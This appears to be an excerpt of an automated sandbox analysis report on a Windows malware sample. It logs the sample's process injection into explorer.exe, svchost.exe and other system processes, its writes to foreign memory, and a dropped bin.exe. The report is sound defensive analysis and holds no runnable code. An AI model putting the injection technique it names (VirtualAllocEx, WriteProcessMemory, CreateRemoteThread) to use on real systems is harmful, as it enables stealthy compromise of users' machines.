Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 1480000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 1020000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 1120000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 460000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: CA0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: DB0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: AD0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 13D0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 2DC0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 930000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: D80000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 28A0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 25C0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 790000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 28B0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: C70000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: E00000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 14D0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 28E0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 2BE0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: C60000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: F10000 protect: page execute and read and write	Jump to behavior

Contains functionality to inject threads in other processes

Source: C:\Windows\SysWOW64\winver.exe	Code function: 2_2_047E0DE0 VirtualAllocEx,WriteProcessMemory,CreateRemoteThread,		2_2_047E0DE0
Source: C:\Windows\explorer.exe	Code function: 3_2_01391F8D VirtualAllocEx,WriteProcessMemory,CreateRemoteThread,		3_2_01391F8D

Creates a thread in another existing process (thread injection)

Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\explorer.exe EIP: 13908B3	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\sihost.exe EIP: AC090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 91090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 9A090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\ctfmon.exe EIP: A5090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\explorer.exe EIP: 345090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\svchost.exe EIP: D4090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe EIP: B5090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\RuntimeBroker.exe EIP: 11090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe EIP: A9090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\RuntimeBroker.exe EIP: AB090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\smartscreen.exe EIP: 29090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe EIP: 58090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\RuntimeBroker.exe EIP: 3D090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\RuntimeBroker.exe EIP: 90090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\ApplicationFrameHost.exe EIP: 18090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe EIP: A1090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\RuntimeBroker.exe EIP: 19090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\ImmersiveControlPanel\SystemSettings.exe EIP: F1090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\oobe\UserOOBEBroker.exe EIP: 1090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 9F090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\conhost.exe EIP: 88090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\dllhost.exe EIP: 98090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\backgroundTaskHost.exe EIP: C090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\RuntimeBroker.exe EIP: A2090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\RuntimeBroker.exe EIP: 6090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe EIP: 307090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe EIP: 2CE090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe EIP: 64090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe EIP: 6D090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe EIP: 2EF090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe EIP: 147090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe EIP: 116090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe EIP: 1FF090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe EIP: 263090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe EIP: 81090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 2CF090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 13C090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 87090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 221090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: C3090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 25E090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 2AB090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 241090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 13E090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 2DF090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 115090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: D2090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 250090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 152090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 2EB090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: FC090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 29A090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 275090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 29D090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 15B090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 66090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 103090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 2AF090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 303090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 12F090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 10E090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: DD090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 118090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 29B090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 24C090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 9D090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 94090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: FF090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: E7090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 2D9090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 12A090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 102090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 105090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: FC090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 4B090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 99090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: B8090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 19090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 9D090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 148090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 102090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 112090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 46090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: CA090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: DB090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: AD090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 13D090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 2DC090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 93090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: D8090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 28A090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 25C090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 79090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 28B090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: C7090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: E0090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 14D090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 28E090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 2BE090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: C6090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: F1090B	Jump to behavior
Source: C:\Windows\explorer.exe	Thread created: C:\Users\user\AppData\Roaming\E38A1E29\bin.exe EIP: 1C090B	Jump to behavior
Source: C:\Windows\explorer.exe	Thread created: C:\Users\user\AppData\Roaming\E38A1E29\bin.exe EIP: 1C090B	Jump to behavior

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\SysWOW64\winver.exe	Memory written: PID: 2580 base: 1390000 value: 50			Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: PID: 2580 base: 3450000 value: 50			Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\java.exe	Memory written: C:\Windows\SysWOW64\winver.exe base: D018B0	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\explorer.exe base: 1390000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\sihost.exe base: AC0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\svchost.exe base: 910000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\svchost.exe base: 9A0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\ctfmon.exe base: A50000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\explorer.exe base: 3450000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\svchost.exe base: D40000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: B50000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 110000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: A90000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: AB0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\smartscreen.exe base: 290000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: 580000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 3D0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 900000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 180000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: A10000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 190000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: F10000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\oobe\UserOOBEBroker.exe base: 10000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\svchost.exe base: 9F0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\conhost.exe base: 880000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\dllhost.exe base: 980000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\backgroundTaskHost.exe base: C0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: A20000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 60000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 3070000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 2CE0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 640000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 6D0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 2EF0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 1470000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 1160000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 1FF0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 2630000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 810000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 2CF0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 13C0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 870000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 2210000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: C30000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 25E0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 2AB0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 2410000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 13E0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 2DF0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 1150000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: D20000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 2500000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 1520000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 2EB0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: FC0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 29A0000	Jump to behavior
